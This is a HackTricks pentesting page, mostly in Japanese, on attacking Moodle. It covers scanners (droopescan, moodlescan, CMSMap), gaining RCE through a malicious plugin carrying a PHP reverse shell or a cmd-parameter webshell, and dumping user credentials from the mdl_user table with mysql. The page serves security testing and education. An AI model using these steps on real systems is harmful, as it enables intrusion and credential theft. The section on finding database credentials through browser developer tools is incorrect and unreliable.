hacktricks/network-services-pentesting/pentesting-web/moodle.md

12 KiB
Raw Blame History

Moodle

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

もし、ハッキングのキャリアに興味があり、解読不能なものをハックしたい場合は、採用しています!(流暢なポーランド語の読み書きが必要です)。

{% embed url="https://www.stmcyber.com/careers" %}

自動スキャン

droopescan

pip3 install droopescan
droopescan scan moodle -u http://moodle.example.com/<moodle_path>/

[+] Plugins found:
forum http://moodle.schooled.htb/moodle/mod/forum/
http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt
http://moodle.schooled.htb/moodle/mod/forum/version.php

[+] No themes found.

[+] Possible version(s):
3.10.0-beta

[+] Possible interesting urls found:
Static readme file. - http://moodle.schooled.htb/moodle/README.txt
Admin panel - http://moodle.schooled.htb/moodle/login/

[+] Scan finished (0:00:05.643539 elapsed)

moodlescan is a command-line tool used for scanning and pentesting Moodle installations. It is designed to identify vulnerabilities and security weaknesses in Moodle websites. The tool performs various tests and checks, including version detection, plugin enumeration, and known vulnerability scanning. It can also perform brute-force attacks to test the strength of user credentials. moodlescan is a valuable tool for security professionals and penetration testers to assess the security posture of Moodle installations.

#Install from https://github.com/inc0d3/moodlescan
python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/

Version 0.7 - Dic/2020
.............................................................................................................

By Victor Herrera - supported by www.incode.cl

.............................................................................................................

Getting server information http://moodle.schooled.htb/moodle/ ...

server         	: Apache/2.4.46 (FreeBSD) PHP/7.4.15
x-powered-by   	: PHP/7.4.15
x-frame-options	: sameorigin
last-modified  	: Wed, 07 Apr 2021 21:33:41 GMT

Getting moodle version...

Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta

Searching vulnerabilities...


Vulnerabilities found: 0

Scan completed.

CMSMap

CMSMapは、ウェブアプリケーションのペネトレーションテストに使用されるツールです。このツールは、MoodleなどのCMSコンテンツ管理システムの脆弱性を特定するために使用されます。

CMSMapは、ウェブサイトのバージョン、インストールされているプラグイン、テーマ、およびその他の重要な情報を特定するために使用されます。これにより、攻撃者は脆弱性を悪用するための情報を収集することができます。

CMSMapは、コマンドラインベースのツールであり、Pythonで書かれています。このツールは、ウェブサイトのURLを指定し、自動的に情報を収集します。また、プラグインやテーマの脆弱性をテストするためのモジュールも提供しています。

CMSMapは、ウェブアプリケーションのセキュリティ評価において非常に役立つツールです。ウェブサイトの脆弱性を特定し、それらを修正することで、攻撃者からの攻撃を防ぐことができます。

pip3 install git+https://github.com/dionach/CMSmap.git
cmsmap http://moodle.example.com/<moodle_path>

CVEs

自動ツールは、Moodleのバージョンに影響を与える脆弱性を見つけるのにはほとんど役に立たないことがわかりました。これらの脆弱性は、https://snyk.io/vuln/composer:moodle%2Fmoodleで確認できます。

RCE

「サイト管理」タブ内で、マネージャーの役割を持っている必要があり、プラグインをインストールすることができます

マネージャーであっても、このオプションを有効にする必要がある場合があります。Moodle特権エスカレーションPoCで確認できますhttps://github.com/HoangKien1020/CVE-2020-14321

次に、以下のプラグインをインストールすることができます。このプラグインには、クラシックなpentest-monkey php revシェルが含まれていますアップロードする前に解凍し、revshellのIPとポートを変更し、再度圧縮する必要があります

{% file src="../../.gitbook/assets/moodle-rce-plugin.zip" %}

または、「cmd」パラメータを使用して通常のPHPシェルを取得するために、https://github.com/HoangKien1020/Moodle_RCEからプラグインを使用することもできます。

悪意のあるプラグインにアクセスするには、以下にアクセスする必要があります:

http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id

POST

データベースの資格情報を見つける

データベースの資格情報を見つけるために、以下の手順を実行します。

  1. ブラウザの開発者ツールを開きます。
  2. ログインフォームに適当なユーザー名とパスワードを入力します。
  3. フォームを送信するときに、ネットワークタブを開きます。
  4. ネットワークタブで、POSTリクエストを見つけます。
  5. POSTリクエストのヘッダーとボディを確認し、データベースの資格情報を探します。
  6. 資格情報が見つかった場合は、ユーザー名とパスワードをメモします。

この方法を使用すると、ログインフォームを介してデータベースの資格情報を見つけることができます。

find / -name "config.php" 2>/dev/null | grep "moodle/config.php"

データベースから資格情報をダンプする

To dump credentials from a database, you can use various techniques depending on the type of database and the access you have. Here are some common methods:

  1. SQL Injection: If the application is vulnerable to SQL injection, you can exploit it to extract credentials from the database. By injecting malicious SQL queries, you can retrieve usernames, passwords, and other sensitive information.

  2. Brute-forcing: If you have access to the database server, you can attempt to brute-force the login credentials. This involves trying different combinations of usernames and passwords until you find the correct ones.

  3. Exploiting Misconfigurations: Sometimes, databases are misconfigured and allow unauthorized access. By identifying and exploiting these misconfigurations, you can gain access to the database and extract credentials.

  4. Dumping Hashes: If you have read access to the database, you can dump the password hashes stored in the database. These hashes can then be cracked using various techniques, such as rainbow tables or brute-forcing, to obtain the actual passwords.

Remember, it is important to have proper authorization and legal permission before attempting to dump credentials from a database. Unauthorized access is illegal and unethical. Always ensure you are conducting penetration testing or security assessments within the boundaries of the law and with proper authorization.

/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"

もしあなたがハッキングのキャリアに興味があり、解読不能なものをハックしたいのであれば - 私たちは採用しています! (流暢なポーランド語の読み書きが必要です).

{% embed url="https://www.stmcyber.com/careers" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥